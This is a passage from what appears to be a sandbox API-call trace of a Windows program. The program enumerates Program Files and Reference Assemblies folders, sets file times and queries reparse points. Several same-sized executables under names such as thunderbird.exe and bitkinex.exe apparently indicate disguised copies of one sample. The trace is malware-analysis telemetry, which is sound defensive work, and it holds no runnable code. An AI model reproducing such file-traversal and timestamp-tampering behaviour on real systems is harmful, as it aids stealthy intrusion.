dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0089.438] GetLastError () returned 0x12 [0089.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313f30) returned 1 [0089.438] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314038) returned 1 [0089.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313e28) returned 1 [0089.439] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="")) returned 0 [0089.439] GetLastError () returned 0x12 [0089.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.439] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313d20) returned 1 [0089.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="")) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x889cd2e0, ftCreationTime.dwHighDateTime=0x1d5b1df, ftLastAccessTime.dwLowDateTime=0x4ba166e0, ftLastAccessTime.dwHighDateTime=0x1d54ae6, ftLastWriteTime.dwLowDateTime=0x4ba166e0, ftLastWriteTime.dwHighDateTime=0x1d54ae6, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="")) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bc76ad0, ftCreationTime.dwHighDateTime=0x1d54fb4, ftLastAccessTime.dwLowDateTime=0x1508db50, ftLastAccessTime.dwHighDateTime=0x1d549c3, ftLastWriteTime.dwLowDateTime=0x1508db50, ftLastWriteTime.dwHighDateTime=0x1d549c3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bc76ad0, ftCreationTime.dwHighDateTime=0x1d54fb4, ftLastAccessTime.dwLowDateTime=0x1508db50, ftLastAccessTime.dwHighDateTime=0x1d549c3, ftLastWriteTime.dwLowDateTime=0x1508db50, ftLastWriteTime.dwHighDateTime=0x1d549c3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 0 [0089.440] GetLastError () returned 0x12 [0089.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.440] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.440] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.441] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0089.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies" (normalized: "c:\\program files (x86)\\reference assemblies"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies" (normalized: "c:\\program files (x86)\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.441] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.442] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.442] NtClose (Handle=0x16c) returned 0x0 [0089.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.443] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.443] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.443] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b863710, ftCreationTime.dwHighDateTime=0x1d54ed9, ftLastAccessTime.dwLowDateTime=0x55dc1a0, ftLastAccessTime.dwHighDateTime=0x1d592a4, ftLastWriteTime.dwLowDateTime=0x55dc1a0, ftLastWriteTime.dwHighDateTime=0x1d592a4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0089.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.444] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0089.444] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0089.444] GetLastError () returned 0x12 [0089.445] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0089.445] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.445] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.445] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b863710, ftCreationTime.dwHighDateTime=0x1d54ed9, ftLastAccessTime.dwLowDateTime=0x55dc1a0, ftLastAccessTime.dwHighDateTime=0x1d592a4, ftLastWriteTime.dwLowDateTime=0x55dc1a0, ftLastWriteTime.dwHighDateTime=0x1d592a4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0089.445] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0089.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.445] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.446] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.446] NtClose (Handle=0x16c) returned 0x0 [0089.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.447] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0089.447] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.447] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 1 [0089.447] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 0 [0089.447] GetLastError () returned 0x12 [0089.447] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.447] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.447] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.447] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 1 [0089.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.449] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.449] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.449] NtClose (Handle=0x16c) returned 0x0 [0089.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.450] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0089.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.450] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0089.451] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0089.451] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0089.451] GetLastError () returned 0x12 [0089.451] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.451] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.451] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.451] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0089.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.451] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.451] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.451] NtClose (Handle=0x16c) returned 0x0 [0089.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314038) returned 1 [0089.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1314038 [0089.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313f30 [0089.452] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0089.454] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.454] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, 